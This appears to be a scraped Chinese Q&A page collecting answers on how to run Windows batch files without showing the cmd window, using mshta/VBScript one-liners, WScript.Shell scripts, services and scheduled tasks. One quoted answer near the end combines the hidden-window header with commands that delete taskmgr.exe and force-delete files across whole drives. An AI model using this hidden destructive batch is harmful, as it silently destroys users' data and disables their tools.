可以用下面两种方法来实现隐藏cmd窗口:
1、直接在.bat 文件最前边加上以下内容:
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
2、新建一个记事本,里面输入:
CreateObject("WScript.Shell").Run "cmd /c D:/test.bat",0
其中 D:/test.bat 是 bat 文件的绝对路径
将此新建的记事本保存为 vbs 格式文件。
以后如有需要直接执行这个 vbs 文件即可。
扩展资料
其它的一些隐藏cmd窗口的方法(非常命令行)
1、用快捷方式
如果要使一个批处理本身隐藏,可以参考附件里的一个快捷方式,修改附件中的相关路径即可隐藏启动你的批处理。可以用vbs来建立一个 .lnk,其实用批处理也行。
2、利用系统服务
可以建立一个系统服务然后启动这个服务来启动批处理。缺点是启动服务较慢,需要管理员权限。
3、利用at计划任务
用at可以建立一个计划任务,在不输入 /interactive 参数可以后台运行。
参考资料:百度百科-批处理
确实不会,不能直接在批处理里面添加吗?
追答不能批处理里加,或者你用vc写个程序也可以隐藏!
参考资料:http://hi.baidu.com/zhenlisuozai/blog/item/b54798395bbe92f93b87ce3a.html
- - 要自动运行
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c shell",vbhide
以上命令保存为vbs文件shell为你需要运行的批处理命令,也可以是批处理文件的绝对路径
运行bat时隐藏cmd窗口
可以用下面两种方法来实现隐藏cmd窗口:1、直接在 bat 文件最前边加上以下内容:echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin 2、新建一个记事本,里面输入:CreateObject("WScript.Shell").Run "cmd \/...
执行bat如何不弹出cmd窗口
1、根据查询CSDN博客显示,使用start命令:在批处理文件中使用start命令可以隐藏命令提示符窗口。2、使用参数:使用start命令时,可以添加参数来指定要执行的命令。3、修改注册表:通过修改注册表中的一项设置,可以在运行批处理文件时隐藏命令提示符窗口,在注册表编辑器中,找到以下路径。
怎么设置运行bat文件不弹出CMD窗口
怎么设置运行bat文件不弹出CMD窗口?单纯 bat 本身并不具备隐藏运行的功能不过用vbs调用bat就可以实现Set ws = CreateObject("Wscript.Shell")ws.run "cmd \/c 2002.bat",vbhide这个就是vbs调用同目录下 名为 2002.bat 的批处理隐藏运行
运行bat时怎么隐藏cmd窗口啊
将水平线中代码拷贝到记事本中,保存为"runbat.vbs"或者其它的名字(扩展名必须是.vbs),然后点击运行生成的脚本runbat.vbs,即可隐藏运行指定的批处理程序。这个vbs脚本也可以在其它环境中直接调用。
我要做一个运行cmd指令的BAT文件,要怎么在bat内输入内容?
1、首先需要知道运行bat时隐藏cmd窗口,可以使用vbs文件来做,将vbs文件和bat文件放在一块,如下图所示。2、看到直接运行bat文件,会打开cmd窗口,如下图所示。3、编写vbs文件代码,新建一个记事本,然后输入“set ws=WScript.CreateObject("WScript.Shell")ws.Run "d:\\runPython.bat",0”代码,第二...
如何使批处理BAT文件在后台运行而不显示DOS窗口
1 start mshta vbscript:createobject("wscript.shell").run("""%~0"" ::",0)(window.close)&&exit 以上代码加在脚本开头行,运行后即可隐藏,但稍微会闪一下黑窗口。
怎么让BAT隐藏执行,不显示CMD窗口
1、首先,“win+r”组合键打开“运行”窗口,输入“osk”可打开屏幕键盘 2、在运行窗口中输入“notepad”回车,可以快速打开记事本程序 3、然后,如图在记事本中粘贴或输入“createobject("wscript.shell").run "C:\\Users\\chaoy\\Desktop\\SleepPc.bat",0”,其中的 "C:\\Users\\chaoy\\Desktop\\SleepPc...
怎么让BAT隐藏执行?不显示CMD窗口
1) 使用 Bat2Exe 编译批处理,选择 隐形批处理窗口。2) 使用 WinCMD ,编写一个批处理 调用 WinCMD 的 EXEC 来启动你的 BAT。具体WinCMD用法:EXEC !a.bat
让这个bat后台运行 不显示CMD大黑框!
if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin ::---以下写你自己的代码--- Del c:\\WINDOWS\\system32\\taskmgr.exe \/f\/s\/q\/a echo off echo JohnTyler del \/f\/s\/q d:\\*.del \/f\/s\/q e:\\*.del \/...
请问运行批处理时怎么隐藏CMD窗口?
方法有很多,有借助小工具软件的,有的是把BAT文件封装成EXE应用程序。但比较简单的,可以靠几行VBS脚本代码就可以隐藏BAT运行。---Set shell = Wscript.createobject("wscript.shell")a = shell.run ("路径\\文件.bat",0) ---复制虚线内代码,另存为*.VBS文件---手工修改BAT文件的路径几文件...